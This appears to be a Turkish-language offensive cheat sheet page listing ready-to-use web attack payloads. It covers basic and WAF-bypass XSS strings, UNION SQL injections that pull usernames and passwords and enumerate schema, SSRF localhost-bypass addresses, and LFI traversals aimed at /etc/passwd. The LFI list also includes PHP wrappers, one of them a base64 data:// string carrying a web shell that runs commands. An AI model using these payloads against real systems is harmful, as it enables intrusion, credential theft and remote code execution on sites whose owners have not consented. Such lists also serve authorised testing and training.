📋 Cheat Sheets
5 payload listesi
XSS
▼
XSS Payload Koleksiyonu
Temel XSS payload'lari. Farkli HTML context'lere gore secim yapin.
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
"><script>alert(document.domain)</script>
'-alert(1)-'
";alert(1)//
javascript:alert(1)
<a href="javascript:alert(1)">click</a>
XSS
▼
XSS WAF Bypass
WAF BypassWAF bypass XSS payload'lari. Encoding, case variation ve alternatif fonksiyonlar.
<svg/onload=alert(1)>
<img src=x onerror=alert`1`>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=\u0061lert(1)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<svg><script>alert(1)</script>
<iMg SrC=x OnErRoR=alert(1)>
"><img src=x onerror=prompt(1)>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
SQLI
▼
SQLi UNION Payloads
UNION-based SQLi icin temel payload'lar. Once kolon sayisini belirleyin.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
" UNION SELECT NULL--
') UNION SELECT NULL--
SSRF
▼
SSRF Bypass Teknikleri
WAF BypassLocalhost/internal IP filtreleme bypass teknikleri.
http://127.0.0.1
http://localhost
http://0.0.0.0
http://0177.0.0.1 (octal)
http://0x7f.0x0.0x0.0x1 (hex)
http://2130706433 (decimal)
http://127.0.0.1.nip.io
http://[::1]
http://[::]
LFI
▼
LFI Traversal Payloads
WAF BypassLFI payload'lari. Null byte ve PHP wrapper'lari ile WAF bypass.
../../etc/passwd
....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00.jpg
php://filter/convert.base64-encode/resource=/etc/passwd
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id